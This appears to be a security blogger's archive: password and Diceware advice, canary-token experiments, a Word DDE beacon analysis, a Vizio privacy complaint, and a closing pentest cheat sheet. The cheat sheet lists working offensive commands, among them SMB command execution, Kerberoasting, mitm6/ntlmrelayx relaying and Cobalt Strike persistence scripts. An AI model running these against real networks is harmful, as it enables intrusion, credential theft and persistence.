The subway one is pretty obvious, in hindsight, but it stands out in my memory as when I learned that slogans were included in attacker dictionaries. As a famous company slogan, it ends up in the attacker’s dictionary, and yes, I’ve seen it on a live engagement. But come on. Ph’nglui mglw’nafh Cthulhu R’lyeh wgah’nagl fhtagn1? There’s no way that will… wait, they did what?.

All right, then. Avoid common/famous lines from books, company slogans, speeches, etc.

What do strong passwords look like?

Here are some examples of passwords of increasing strength (note that #1 and #2 are swapped because #2 is derived from #1):

1. This is a passphrase I could use for logging into a website (59 characters)
   • Pros: This is super easy to remember and type, because it’s plain language. It naturally include changes of case and special characters (spaces). It’s also very unlikely to show up in a dictionary (or it was, until I posted this blog).
   • Cons: This doesn’t do anything unique to transform (“mangle)”) the password. The only capital is at the start (a common pattern) and the only special symbol is a space between words. You also have to come up with every word yourself. Some sites do not allow passwords this long. Good, but could be better.
2. TiapIcu4li2aw! (14 characters)
   • This password is generated by taking the first character from each word in the passphrase above. Though it follows in sequence, I consider it all around worse than the passphrase above.
   • Pros: It’s just as easy to remember (you memorize the phrase), and it has a little more complexity. It’s more likely to be acceptable to most sites. Bruce Schneier recommends this method.
   • Cons: It’s more difficult to type. It’s far shorter, which renders it more likely to be brute-forced than the original passphrase. That said, it’s still pretty resistant to cracking or brute forcing.
3. I am the very model of a modern major general. War, war never changes. (70 characters)
   • This is a “middle ground” alternative to Diceware. I’ll explain its creation method later in this post.
   • Pros: Long and very easy to remember and type. You only have to memorize two elements. Very resistant to brute force, very unlikely to be in a dictionary (until this post).
   • Cons: Shares some of the same problems as the first passphrase above. It doesn’t really mangle the phrase at all, and it might simply be too long for some systems.
4. clapped antics commute deceptive omen fragment (46 characters)
   • This one looks a little odd at first. It’s a balance of random generation (through the use of dice, described below) and a published word list.
   • Pros: Easy to type. Randomly determined from a list of thousands of words. You can usually form a mental image of the words to help remember it (or re-roll a word or two if the words just don’t work together at all).
   • Cons: Not mangled at all, and the word list is public. It’s a good idea to do some mangling of your own if you use this method. You also have to get out dice and refer to a list.
5. XdgG1|*:BRDxgp` (15 randomly generated characters)
   • A password generated by a trusted password manager program. Keep in mind that once you get used to using a password manager, there is no real difference between using a 15 character password and a 100 character password, so might as well go longer:
6. XdgG1|*:BRDxgp`JB#8WVp3s!g:’R8@hCbi|NSoRobYkiXLB|V (50 randomly generated characters)
   • Pros: These passwords are the most resistant to cracking or guessing. Since they are randomly generated, brute forcing is really the only way to break such a password (though, like any password, it could still be intercepted). Passwords like this are generated by password managers, and once you have use of a password manager as part of your workflow, you don’t even have to think about memorizing such a password. Just copy and paste it.
   • Cons: Basically impossible to memorize. A pain in the butt if you ever do have to type it manually. All but unusable for mobile devices (phones, tablets). Length again may be a limitation on some sites.

If I were to visually represent the relative strengths of these passwords, they would go nearly in the order above, with #1 and #2 swapped:

Note: The representation isn’t to any calculated scale, but rather evenly spaced on a ranking based on my qualitative view of each password based on its relative strength and its ease of use for the user.

General principles

There aren’t hard and fast rules to password creation, but these general principles are usually applicable:

• Length is generally more important than complexity.
  • Longer with less complexity is usually better than shorter with more complexity (there are exceptions, don’t math me). That said, you should aim for both.
• Randomly generated phrases can be a good balance of memorable and long.
  • See below re: Diceware for advice on creating some.
• Avoid personal information in your passwords (and security questions).
  • Birthdays, relatives, cities, pets, anything on your Facebook or LinkedIn
• Do not reuse passwords across sites.
  • If one site gets hacked, others could be accessed.
• Keep it secret, keep it safe!
  • If you write it down, never leave it unattended.
• Don’t mangle the way everybody else does.
  • Come up with your own secret mangling technique, such as “insert the letter R after every new word.” Something that other people aren’t doing.
• Use a password manager.
  • It makes life easier and passwords more secure, but make sure you use a well-regarded one, and make sure you keep a backup somewhere safe!
• Be better than the minimum requirement
  • If you only create a password that meets the minimum, you are the low bar by which others are measured.

Diceware?

I’ve mentioned Diceware a few times, now, so what’s that? Put briefly, it’s a method for creating passwords based on a couple of principles:

1. Humans suck at randomness, computers are “ok” at it, but the real world is full of it.
2. Lists of randomly-selected elements from a large enough pool are expensive to brute force.

Diceware basically takes the concept of brute force resistance in passwords and cranks it up a (few thousand) notches. With brute forcing, the passwords that can possibly be generated (the key space) are a combination of the length of the password and the number of possible characters that can be chosen.
I won’t get deep into the math in this post (I am by no means an expert), but there is plenty of good reading on the subject.
In short, traditional passwords are made up of typable characters (a-z, A-Z, 0-9, and special characters on the keyboard). Depending on your keyboard, this probably results in somewhere in the neighborhood of 100 characters to choose from. To brute force an 8-character password, we have to run all 8 characters through all their 100ish possibilities…

• aaaaaaaa
• baaaaaaa
• caaaaaaa
  …
• zzzzzzzz
• AAAAAAAA
• BAAAAAAA
  …
• Zaaaaaaa
• Zbaaaaaa
• Zcaaaaaa
  …
• ####ZZZZ
• ###$ZZZZ
• ###%ZZZZ
  … etc.

With Diceware, you think of words as the characters from which to select, and that list is far larger than 100. The Diceware instructions will have you roll 5 dice (or one die five times) per word to choose from a list of 7,776 possibilities. If we create a diceware passphrase of 8 words, the number of possibilities is no longer 8 characters each having 100 possibilities, but rather 8 words each having 7,776 possibilities.
Even if an attacker knows that you used Diceware to make your password, simply running through all the permutations by brute force would be extremely costly, with today’s computing power.

Exercise time

So let’s make a Diceware password. Most nerds have at least one set of dice within easy reach, so grab yours, get a pencil and piece of paper, and let’s get started.

First, we need a word list. There are quite a few options, but for this example I will use the original Diceware wordlist.

Step 1 - Roll dice

The instructions say that we should roll 5 dice for each word, so we shake, rattle, and roll…

4 3 6 2 3

Step 2 - Find word

We look in the wordlist for the number represented by 43623 and find…

none.
So we write down ‘none’ and continue to…

Step 3 - Repeat

The current advice is for a minimum of six words, but I’ll go with eight to remain in line with the example from earlier:

• 63452 = warn
• 56135 = sunk
• 14133 = betty
• 42622 = mosaic
• 61631 = trig
• 34641 = jude
• 64232 = wince

Now we have a pass phrase of eight words: none warn sunk betty mosaic trig jude wince.

Step 4 - Memorize

The next step is to memorize the words. Depending on what you rolled, this might be easier or harder. You typically want to break the words up into a few mental “chunks” to make them easier to commit to memory. If you can form an image or a narrative of some kind with the words, that’s even better.

• “none warn sunk betty” could be remembered by picturing a famous Betty under the sea; she’s in danger, but nobody is warning her :(
• “mosaic trig” could be recalled by imagining one of those “math mosaic” educational tools.
• “jude wince” Another easy once, just imagine the familiar facial expression, and pair that up with a famous Jude (or a face that might be associated with the name, at least).

Now, it’s still a good idea to do some mangling of the diceware password once you create it. That way, even if somebody knows that you used diceware, and knows which list you used, they will still have a hard time of figuring out what kind of mangling you applied. After some modifications to the passphrase above, we might end up with something like:

• noneRwarnRsunkRbettyRmosaicRtrigRjudeRwince (replacing spaces with the letter R, because who does that?)
• noRne waRrn suRnk beRtty mosRaic trRig juRde wiRnce (inserting the letter R after every second character in each word, because who does that?)
• nonewarnsunkbetty mosaictrig judewince (grouping the words based on the “chunks” that were easy to remember)
• no0ne wa1rn su0nk be1tty mo1saic tr0ig ju9de wi5nce (inserting the birthdate “01011995” in the password. Not a great idea, but it gives you an example of how you could mangle the passphrase further)

All in all, not too bad, but that did take a few minutes. For those really important passwords that you need to remember (like the master password of a password manager), and that you can take time to plan in advance, this is probably a good technique.

An alternative to Diceware

Still, there might be times when I need to come up with a password, and it just isn’t convenient to follow the Diceware method:

• Traveling (and I forgot my lucky dice!)
• First day at a new job (and I forgot to prepare a new password in advance!)
• In a time-sensitive situation requiring a new password better than “Welcome123”
• Trying to convince somebody who just isn’t going to sit down with dice, pen and paper to come up with a new strong password

What to do? I’ve had success with an in-between method that borrows some rudimentary concepts from Diceware and simplifies them. Admittedly, this comes at the cost of weakening the resulting passphrases, but it can come in handy, and I think it has a benefit over just trying to come up with a series of random words on your own (remember, our brains aren’t good at random).

The basic concept is simple:

• Select a memorable phrase such as a quote, the lyric from a song, a line from a book, etc.
  • Wait, didn’t you say doing that was bad? On its own, yes, but wait, there’s another step:
• Select a second, entirely unrelated phrase from some other source and combine the two.

Remember the example from earlier?

• I am the very model of a modern major general. War, war never changes.

  ^ Lyric from The Pirates of Penzance               ^ Quote from the Fallout video game series.
  

Both of these parts, by themselves, show up in cracking dictionaries. But (prior to posting this blog), the combination of the two did not. There would be no reason for them to appear that way, because who would ever combine them?

There are some important principles that go with using this method:

• Do not select obvious sources. If everybody knows you love the musical “Hamilton,” avoid songs from it.
• Do not select two phrases from the same or related sources. Two quotes from different episodes of Naruto aren’t wise. Neither are two lines from different George R. R. Martin novels.

Why do I advocate this method? On its face, it seems like it’s just a weaker version of Diceware. Instead of it being a phrase made up of six or eight or ten “parts” there are only two. And we said before that humans are bad at being random. Both of these are true, but here are the key differences:

1. We aren’t selecting from a known list. We have potentially any source of media to draw from (movies, TV shows, books, music, poems, speeches, etc.). The resulting choices can vary widely in their size and form. For one person, half the passphrase might be a quote. For another person it might be a mathematical formula. For another it might be a whole verse from a song.
2. We aren’t trying to be random, we are deliberately selecting unrelated sources. It’s much easier to identify two elements that have no business being combined than it is to try and be “random.”

Examples

• There once was a man from Nantucket; y=mx+b (43 characters)
• There’s no place like home. You can’t serve this, it’s fucking RAW! (67 characters)
• A long time ago, in a galaxy far, far away… I just met you, and this is crazy, but here’s my number, so call me, maybe? (121 characters)

These passphrases are easy to come up with, they are long (protecting from brute force), and they are very unlikely to be in an attacker’s dictionary.

It’s still a good idea to mangle them, though. Don’t forget!

You only need to remember a few passwords

Finally, I reiterate the guidance to use a password manager. It really does simplify life, and one of the ways it does so is minimizing the number of passwords we have to try and cram into our brains. There are only so many passwords most of us can remember before we start messing them up, or cutting corners and re-using them across sites, or making passwords that are technically different but really very similar. A password manager solves all these problems. Once you are in the habit of using a password manager, there is a pretty short list of passwords that you need to memorize:

• The master password to your password manager. (Obviously.)
• Your main email account password. (All your online accounts can be reset with this.)
• The password to your personal computer. (You will type this every day.)
• The password to your work computer. (Same with this.)
• The password to your phone/tablet. (You will enter this numerous times per day.)
• The password to your primary bank account. (Good to have in an emergency.)

Six is a much more manageable number of passwords. Some of us may have a couple more or a couple less to contend with, but my password manager currently has hundreds of entries that I wouldn’t have a hope of keeping track of without it. So I urge you to get a password manager. Try it out for a while, and then incorporate it into your regular workflow online.

It didn’t take long to learn (or re-learn) some more interesting things, thanks to Thinkst Canary Tokens.

First, a small admission: I’ve been using you. That is, I’ve been using my site, since the prior post on Canary Tokens, to play with one. No, don’t worry, I didn’t have malicious JavaScript or invasive plugins trying to interrogate your browser (though those are totally things that some sites will use).

This was a very simple URL token, inserted into the page code as an <img> tag. Any time the page was loaded (and thus the image requested), I would get a notification from the Canary Token. The information provided was similar to what can be provided with any site analytics framework, though unlike most modern analytics frameworks, it included the requesting IP address, much like was provided with the .docx payload I tested on VirusTotal in the previous post.

Before getting into the interesting stuff: I’ve taken the auto-loading token out of all pages, and I’ve deleted all the notifications I received from that beacon, since I didn’t feel right about having the individual IP addresses of users visiting the site, without some kind of disclosure that it was being captured.

I have left a hidden <a> tag with a link to a different token, to get some information on what automated crawlers are visiting the site, but unless a human views the page source and manually loads the link (with its warning), I won’t receive any individual IP addresses from that one.

So about TLS…

Now on to the lessons learned! I loaded my page and noticed that the HTTPS security status in Firefox had changed from green to yellow:

Hmm. The site is hosted on GitHub, and I use the option to enforce HTTPS… I know they get legitimate certificates from Let’s Encrypt, so what’s the cause? Did they have a mix-up with their cert generation/application?

No, everything is fine there. Let’s take a look at the debug console…

Oh, right… My own fault. I had seen this behavior before, on other sites, but entirely forgot about it when I was inserting the HTTP links to the Canary Tokens into my own site: modern browsers will complain about insecure elements being loaded into secure sites.

The severity of the complaining depends on the nature of the elements. An <img> tag will get less noise than the fields of a login form, or a <script> tag, for example. Any HTTP-only elements are immediately suspect, since the page as a whole is loading over HTTPS. This makes sense, because an attacker taking a mitm position could be loading a frame with HTTP content in addition to the secure HTTPS content, trying to obtain credentials or other user input. Even by just loading images, an attacker could disrupt the use of the page by loading objectionable content.

Questions to Answer

A couple questions started forming in my head:

1. Can I hide the URL to the Canary Token so it isn’t obvious where it goes?
2. Can I restore the HTTPS status to “Green” while still including the token?

Spoilers: The answer to both questions is “yes,” but not both at the same time, and for good reason.

Browser Security

Hiding the origin of an HTTP element is trivial if you control a DNS domain. Simply set up an A record of your choosing to point to the same IP address as the domain in the original URL, and voila, “DNS overloading”:

This gets a little more complex if the destination has a rotating IP address, and it doesn’t resolve the original problem of showing the “all clear” with regards to HTTPS in the browser.

Next I tried using HTTPS URLs instead of HTTP URLs for the Canary Tokens. I know the site for the tokens supports HTTPS (also through Let’s Encrypt), but I had a suspicion this wouldn’t work, with the DNS overloading. I was surprised when I reloaded the page and got a green padlock… but then I realized the token was no longer firing. Clearly the browser was having none of this kind of dirty trick:

The reason should be obvious:

Trying to obfuscate the true domain destination of an element while also using HTTPS violates modern browser security: namely, the TLS certificate that is supplied by the destination doesn’t match the domain name that was used to load the element. This raises flags, because it shouldn’t occur under any normal/benign circumstances. In short, it means somebody is up to something sneaky.

Options

So what to do? Well, that depends on the ultimate goal:

1. If your goal is to embed the remote resource without disclosing its DNS domain of origin, you’re stuck with non-secure HTTP and DNS overloading. This will give you the “yellow” padlock in today’s browsers.
2. If your goal is to embed the remote resource with completely valid HTTPS, you must disclose the DNS domain of origin (the one that matches the TLS certificate):

For this site, since I’m not interested in either, I’ve removed the auto-loading Canary Token reference entirely, but kept the hidden anchor tag to see what kind of crawlers poke around the hidden elements of the site. Since that anchor tag doesn’t auto load any content, using unencrypted HTTP doesn’t set off any alerts in the browser. I wonder if one day we will see browsers complaining if an HTTPS site contains a single non-secure HTTP link… 🤔

[Edited to add: In the few minutes it took me to fix a couple words in this post, GoogleBot had already visited the hidden URL in the page’s source twice :D]

Canary tokens are a concept that has been around for a while. The more generic name for them was Honeytokens. There are a few free services online for generating and alerting based on their use, and there are also free DIY packages for setting them up without relying on a third party. Thinkst offers Canary tokens for free, and their offering really has grown a lot, in the last couple years, both in terms of features and ease of use. Others have written about these and their merits, but today I had some fun going down a bit of a coal mine, so to speak, all thanks to these tricky little tokens.

The Basics

In short, canary tokens are a really simple concept: seed some bogus data (a “token”) somewhere within your real data. Set it up in such a way that if the bogus data is ever accessed, you receive an alert (the “canary”). This will indicate that somebody is doing things they shouldn’t, since you (the data owner/steward) would have no reason to ever touch the token after you originally create it.

This requires a little bit of infrastructure, of course, but it isn’t that complicated. In short, there are three components needed:

1. The token itself (e.g., a username, or document, or URL). Each token should be unique.
2. A receiving mechanism of some kind that will receive a signal if the token is activated (e.g., Active Directory, or a file access monitoring system, or a web server).
3. A notification mechanism to alert the appropriate individual(s) that the token has been activated (e.g., sending an email, or generating an event in a security event manager).

Ideally, you also keep track of some meta data around each unique token, to make sure you can recall where it was implemented.

Thinkst handles all of the infrastructure around token creation (of various types).

They also handle the signal receiving (via HTTP request to their Canary Token server infrastructure), and alerting (bundled with the same).

This makes getting started with such tokens a breeze. Simply choose the type of token you want, enter the notification email, and a note to remind you what the token was used for, click a button, and you are good to go.

Of course, since it’s free, Thinkst gets analytics data from the platform they can analyze and likely share. For more sensitive implementations, they offer a commercial version of the service, and there are self-hosted DIY solutions out there, too.

Analysis

I have been meaning to set up and test Canary Tokens for literally years without getting around to it. Today I generated tokens for a couple different purposes, and decided to do some analysis on the MS Word Document form of the token.

First I downloaded the generated payload file, and ran it through ClamAV to see what it would pick up. Not a big surprise, it didn’t detect anything:

As an aside, while I was getting updated signatures for ClamAV, I noticed this:

Cool. Sup, neo.

In all seriousness, thanks to neo and everyone else who contributes their time to ClamAV. We need more open source solutions like that one.

Then I tried the AV on my Windows machine, [GENERICAV]. It also didn’t detect anything. Hmm. Well, Defender has gotten better in recent years, so let’s try that…

No, huh? Ok, well surely some AV is going to catch it…

… Or not. And don’t call me Shirly.

So at this point I was curious, since none of the AV platforms were catching the payload. I opened the file in MS word, and sure enough, it phoned home. I received an email shortly after indicating that it had been opened, including my IP address and some basic information about the version of the .NET browser used to request the URL.

I had also received such an email when I uploaded the file to VirusTotal. Interestingly, of all the scanners included in VirusTotal, I initially only got one notification. This either means the various scanners aren’t detonating payloads (which I find hard to believe), or else Thinkst puts some rate limiting on the email notifications. I did some additional testing, and the latter appears to be the case, since I can’t generate a ton of notifications from a single token rapidly. This makes sense, given that there is no email confirmation when creating a token…

Makes you think, though… 🤔

[Edited to add: I started getting further hits on the VirusTotal token more than an hour after the original upload time. Seems there is a delay before some sandboxes start really analyzing new uploads.]

Anyway, back on track, here is an example of the alerts generated when a token is opened:

Looks like Google has the fastest sandbox response, for this test:

All right, so we have an AV-evading payload that phones home when a Word document is opened. Sounds like some old school macro love, right?

Wrong. Hmm. Not a macro… Searching memory… I know I remember something about a DDE vulnerability in Word. But Microsoft fixed, that right?

Yeah! I remember… things… See? They patched that way back when. So if it’s not a macro and it’s not DDE, I don’t know of anything else it could be… Maybe my machine isn’t patched for DDE? How do I determine that?

Ok. Easy enough. I’ll just check for that key to confirm that I’m patched…

Oh really, now? I update regularly, but double-checking won’t hurt…

I… what. Triple-checking, since I’ve had an issue in the past with false positives on Windows updates…

Ok, so I’m on the latest released build… What gives?

Further investigation led to me discovering that my MS Office install wasn’t getting updates, so I fixed that and ran an update… but that wasn’t the problem. The DDE fix simply doesn’t get applied to my machine. Apparently that registry key must be applied manually. That’s good to know.

So my machine is vulnerable, lending support to this indeed being DDE. Searching for how to set up DDE quickly lands multiple pages with instructions on how to add the necessary field code to leverage the attack. It took a few more minutes of searching to find how to view such fields when they are already present in the file:

I enable that option, turn on viewing formatting symbols for good measure, view the file again and…

…

*Scrolls down*

Ah ha! There it is. Hidden in the footer, no less. Sneaky.

Conclusion

This was an unplanned exploration of how the DDE functionality of MS word, more than a year after it was “fixed” by Microsoft, lingers as a potential security risk on computers running Microsoft Office (and by the way, I tested it on a Mac running Office, and it works there, too). It was also a more deliberately planned exploration of how Thinkst Canary Tokens work. There are numerous other kinds of such tokens including URL, PDF, DNS and others. So long as the implementation doesn’t involve highly sensitive context(s), I encourage others to make use of the free Canary Tokens offered by Thinkst, some similar service offering, or to look into setting up your own DIY solution. This technology is a very easy to implement warning system in the event of unauthorized access.

[Edited to update: It looks like the specific functionality that was fixed in Office was the “DDEAUTO” method. I’ve done some testing and I can’t get code execution to work with it the way it’s written up in various blogs. I will have to tinker and see if that’s just simple string matching or if they removed that functionality entirely. Even so, the beaconing functionality that is still in place is potentially very risky, and useful as part of the recon phase of a targeted attack, particularly since it doesn’t trigger any AV signatures.]

Between February 2014 and February 2017, Vizio collected information about customer viewing habits through their Vizio Smart TVs, and sold that information, all without clearly disclosing the nature of their collection or disclosure to their paying customers. As a result, there is a class action lawsuit against Vizio:

“The lawsuit alleges VIZIO violated privacy laws and consumer-protection laws by collecting sensitive information about what was displayed on certain VIZIO Smart TVs during the time period above for sale to advertisers. The lawsuit also alleges VIZIO did this without the consent or knowledge of persons who bought these TVs. VIZIO denies these allegations.”

Now, I’m not a lawyer, so I have no idea whether what they did “violated privacy laws and consumer-protection laws.” Given that the United States doesn’t really have well-established data privacy laws, I wouldn’t be surprised to learn that Vizio did nothing that technically breaks the law; how do you break a law that doesn’t exist?

Note, of course, that none of the above discusses whether or not what Vizio did was wrong.

A Random Privacy Abuse Appears!

But I should back up a bit. Why do I care about this? I own a Vizio TV. One day last week, I turned my TV on to use the Pandora app, intending to listen to some music while working on my computer. Instead of a simple experience of turning on, tuning in, and rocking out, I was instead presented with this message:

Well. That’s just lovely. My response on Twitter was none too gentle:

@0xvext writes:

“Hey @Verizon @verizonmedia @AOL @Yahoo @VIZIO, when a person turns on their TV, they shouldn’t be forced to surrender their rights to use the device they paid for. The only reason to demand such is you intend to abuse user privacy. How about you go fuck yourself?”

Note the distinct lack of any kind of “opt out” option on that message. It is stating very explicitly that continuing to use their services is accepting their terms, and surrendering your rights. This kind of anti-consumer activity by big companies rather obviously angers me. Fortunately I had an old AppleTV laying around, and I turned that on and got it set up. Within minutes I was faced with a very different kind of prompt:

I took to Twitter again:

@0xvext writes:

“To the people at OATH, this is literally all you had to do to not create an adversarial relationship with your customers. Take a page from the @AppleTV playbook”

I’m not an Apple fanboy, but of the monolithic tech companies we have today, they consistently seem to be the least data-hungry, and the most proactively responsible with disclosing data use, and in giving the consumer options with regards to sharing such data.

Setup complete, I proceeded to continue with my plan of listening to some good music while working from home, to worry over the Vizio TV another day.

Another Day, Another Message

The next day, turning on my TV again, I was faced with a different message. This one was no longer the “surrender your rights” notice that had remained on screen the entire day prior, but instead a notice regarding a class action lawsuit against Vizio, informing me that I may be part of the class, and could submit a claim at a specific URL. I don’t have a picture of that message, because it was on screen for no more than a minute or two before it went away, with no interaction from me. I was literally picking up my phone to take a picture when the message vanished from the screen.

So, thus far, we have:

Message 1: A no-choice notice that you are surrendering your rights by using the service. The message does not go away without the user clicking to effectively “accept” it.

Message 2: Information educating the consumer about their rights and how to submit a claim in the class-action, displayed briefly, then automatically vanishing from the display.

See the difference?

Classy, Vizio. Real classy.

So, to be very clear, I have since factory-reset my Vizio TV and taken it off my wireless network. I will no longer be using the “Smart TV” features of the device, because I do not intend to accept Vizio’s (or OATH’s, or whoever the hell they are now) terms of service with regards to “mutual arbitration” and a “class action waiver.”

Understanding Your Rights

So, what next? Well, I searched and found the website of the class action suit. The domain is registered through GoDaddy, so that doesn’t help much with confirming who runs it. Looking further on the site, it appears to be set up by an organization called A.B. Data, Ltd. I’m not entirely clear if they set this up on behalf of Vizio or the class representatives.

Looking into the site and the information presented on it is a rabbit hole all on its own. The following is my own brief - and, spoilers, demoralizing - adventure into that rabbit hole.

Let’s start at the top:

Ok, so… informative. No accounting for taste, on the colors, but it does grab the attention. Let’s see… what’s this about a claim..?

$13 to $31 for violating my privacy and running a morally ambiguous (at best) business practice, ok… seems a bit light… But, hey, what can we expect in a country that doesn’t care about protecting the data privacy of its citizens?

The page is a summary of the full notice, and it does suggest that readers should look at the full text… so let’s dive deeper.

We get the summary information again, and then we get into the details of the choices available to a consumer:

The document then goes into an FAQ-style list of answers to inquiries such as “What is this lawsuit about?” and “Why is there a settlement?”

Next, the important information on how to determine if you are a member of the affected class:

Huh. Only one purchaser per Smart TV per household may qualify to submit a claim. That seems… odd. Couldn’t multiple members of a household have had their privacy violated? My bullshit detectors start to warm up…

$$$

Next we get into some numbers:

Ok, $17 million into a fund… after lawyers get their cut (spoilers: it’s about 1/3 of the total, plus some more)… they expect that to be $13 to $31 per claim. I’m not sure how they determined the starting value of the fund, but maybe we will learn more.

(In other news: I should have gone to law school.)

Looks like Vizio also agreed to modify the disclosures to their customers with regards to data collection. A mock-up of the on-screen version of that disclosure has been released by Vizio:

Vizio also agreed to delete all the data that was gathered during the noted window between 2014 and 2017. This is the first place my bullshit detectors start going off. Some important questions arise:

1. How much financial benefit did Vizio already gain from that data? Perhaps we will learn more as we continue reading…
2. How much is that data worth today? My guess is that this kind of data has a very short temporal value, and it’s no skin off Vizio’s nose to delete it at this point.

Next we have some clarifications on how to submit a claim in order to get your windfall of $13 - $31; some deadline information; and what happens to the money if there is more left after the payouts are processed.

Next comes the explanation of what an individual surrenders in order to remain in the class, by either doing nothing or submitting a claim:

There is information about the lawyers representing the class, then the information on how much money goes to the lawyers, and how much goes to each of the six plaintiffs who submitted the initial suits that were merged into the class action:

Next are instructions for excluding yourself from the class (which can be done digitally or via traditional mail), and more clarifications on the ins and outs of excluding vs. remaining.

Next is a full page of information on objecting to the settlement. This is where a larger issue than just Vizio being a shitty company comes into play: In order to give criticism to the court, an individual must remain in the class, thereby ostensibly legitimizing the class action. If one excludes from the class, they can not then also offer objections that the court will hear:

It gets even better, because if you stay in the class and wish to object, you can do so only via traditional mail. No modern methods for accepting input, here! Bullshit detectors #2.

And finally, and most importantly, if you still have questions, as I do, a last page with instructions on how to get more information:

Down the Rabbit Hole

Ok, great! We have a URL (though not a link, you might notice) to the PACER system. Public access to court electronic records sounds like a good thing! I bet that will have answers to the outstanding questions re: how much benefit Vizio gained from the data they already sold, and how much it’s worth in today’s value.

Oh… well, uh… I guess I’ll search for the case # provided, on this page…

No? Oh, um… Maybe I need to go to a specific page, then… let’s try Cases…

Ok, um… there’s an FAQ here, maybe I’ll look at that…

I’m trying to obtain copies of case files, so let’s RTFM…

Ok, this sounds promising. So I just need to go to the main PACER website…

Sweet, ok, making progress! I’ll just use the Find a Case feature, here…

And I want to look up a case, so I guess I’ll use the Case Locator…

Oh… It’s not free. Huh. That seems a little weird for something with “Public Access” as the first words in its acronym… But ok, I guess maybe I chose the wrong option? I’ll go back and try searching an individual court website…

Boy, there sure are a lot of options… but I can handle this. I refer back to the class action notice, and it references the “United States District Court for the Central District of California, Southern Division (Santa Ana).” So let’s try the California Central ECF…

That is… not a pretty website. But I don’t need pretty. I just need functional. I’ll just load up the document filing system, and… oh…

Oh… Oh no… Ok, this is fine. Wait, what’s that at the bottom?

Seriously? So apparently the court system is pay to play, not just for lawyers, but even for class members in a class action. Just to understand whether or not the proposed settlement is reasonable or based on valid value propositions, you have to pony up to learn the details.

There go those bullshit detectors, again.

My main takeaway from this whole process is that I can be automatically named into a class for which an action is brought, but I can’t access any of the arguments (on either side) relating to that action without paying my own money to request them.

Based on my own level of knowledge, there are some rather important details that bring the specifics of the proposed settlement into question, but I can’t even do my own research on the matter without ponying up for a service that is unironically named “Public Access” yet which is pay to play.

Summary

Let’s summarize the bullshit:

• Arbitrarily limiting how many people in a household can be part of the class
• Seemingly arbitrary value estimation… I’m not a lawyer so I’m guessing there is some established guideline for this… but I can’t access the filing system without paying, so I’m uninformed
• Apparent assumption that ‘deleting the data’ is in any way a punishment or hardship for Vizio
• PACER system costs money to view court filings.

Wait, what’s that last part?

Dear god, I didn’t think it could get any worse!

Passive Recon

Discover Scripts

https://github.com/leebaird/discover

Active Recon

DDE Office File

Create a new .docx with field code:

http://domain.tld/path/totoken/index.html
or
http://subdomain.domain.tld

1. Insert
2. Quick Parts
3. Field
4. IncludePicture
5. After pasting above, add \d
6. Should look like:

   { INCLUDEPICTURE "http://domain.tld/path/totoken/index.html" \d \* MERGEFORMAT }
   or
   { INCLUDEPICTURE \d "http://domain.tld/path/totoken/index.html" \* MERGEFORMAT }
   

Active Network Enumeration

Nmap

Identifying live targets from a specific network range

nmap -sn -oA <outputfile> <network(s)>

Identifying live targets from a provided host/range list

nmap -sn -oA <outputfile> -iL <inputfile.txt>

Note: parse output above for live hosts before port scanning to save time.

Identifying open TCP ports

nmap -sS -p0-65535 -oA <outputfile> -iL <inputfile>

Scanning for service version banners and OS fingerprinting

nmap -sV -O -oA <outputfile> -p <ports> -iL <inputfile>

Scanning for common vulnerabilities

nmap -sC --script=vuln -oA <outputfile> -p <ports> -iL <inputfile>

EyeWitness

Screenshotting HTTP/S targets

/opt/EyeWitness/EyeWitness.py --web --prepend-https -f <inputfile>

Screenshotting RDP targets

/opt/EyeWitness/EyeWitness.py --rdp --ocr -f <inputfile>

SMBMap

Scan for unauthenticated shares on target

smbmap -H <target>

Scan for authenticated shares on target

smbmap -H <target> -u <username> -p <password> -d <domain>

Execute a command via SMB

smbmap -H <target> -u <username> -p <password> -d <domain> -x <command>

Impacket

Enumerate SPNs (requires user creds)

impacket-GetUserSPNs -request -dc-ip 192.168.2.160 <fulldomain>/<user>

Crack in Hashcat with -m 13100

CrackMapExec

Scan for unauthenticated shares on target

cme smb <target> -u '' -p '' --shares

Scan for authenticated shares on target

cme smb <target> -u <username> -p <password> --shares

https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference

Cewl

Generate word and email lists from page

cewl -w <wordsoutputfile> -a -e --email_file <emailsoutputfile> -v <target>

Parsing output

Cutting Nmap results

Parsing live hosts from discovery scan

grep Host <inputfile.gnmap> | cut -d" " -f 2 | sort -u > <outputfile>

Listing unique open ports from a previous scan

grep syn-ack <inputfile.nmap> | cut -d/ -f 1 | sort -u > <outputfile>

Removing line breaks and inserting commas for Nmap port specification

sed -n -e 'H;${x;s/\n/,/g;s/^,//;p;}' < <inputfile>

Interception

Bettercap

mitm6

mitm6 -d <fulldomain>

Can run with Responder to get hashes when LLMNR is disabled.

Or, relies on ntlmrelayx running with appropriate settings:

ntlmrelayx

ntlmrelayx.py -6 -wh <attackerip> -t smb://<targetip> -l <path/to/loot> -socks -debug

Can also be used to execute commands.

Automation

Bash

Repeat command for each line of a file

while read ip; do <command> "$ip"; done < <inputfile>

Good for automating commands that only accept one target.

Save command output to file

<command> | tee <outputfile>

Useful for tools that don’t have a logging feature, e.g. SMBMap.

Rename multiple files in a folder while keeping their extension

a=1
for i in *.ext; do
  num=$(printf "%04d.ext" "$a")
  mv -i -- "$i" "<prefix>-$(date +%Y-%m-%d)-$num"
  let a=a+1
done

Useful date/time variables to include in file names: $(date +%Y-%m-%d-%H-%M-%S)

Windows CLI

Ping scan /24 range via loop

FOR /L %i in (1,1,255) do @ping -n 1 <prefix>.%i | find "Reply"

PowerShell

Run command on all files in folders/subfolders

$files = Get-ChildItem c:\temp\*.txt
foreach ($file in $files) {<command> $file}

Cobalt Strike Aggressor Scripting

Automate setup for DNS beacon

on beacon_initial_empty {
	bnote($1,"Established: " . formatDate('MM/dd/yyyy HH:mm:ss (z)'));
	bmode($1, "dns-txt");
	bcheckin($1);
}

Automate initial information gathering on new DNS beacon

on beacon_initial {
	binput($1, "Groups");
	bshell!($1, "whoami /groups");
	binput($1, "Processes");
	bshell!($1, "tasklist /v");
	binput($1, "Connections");
	bshell!($1, "netstat -na | findstr \"EST\"");
	binput($1, "System Info");
	bshell!($1, "systeminfo");
	binput($1, "DNS Cache");
	bshell!($1, "ipconfig /displaydns");
}

Automate simple persistence on new DNS beacon

on beacon_initial {
	bcp($1, "FILEHERE", "c:\\users\\" . binfo($1, "user") . "\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\startfile.EXTHERE");
}

Python virtual environments

Install virtualenv

pip install virtualenv

Create a new virtualenv

virtualenv <directory>

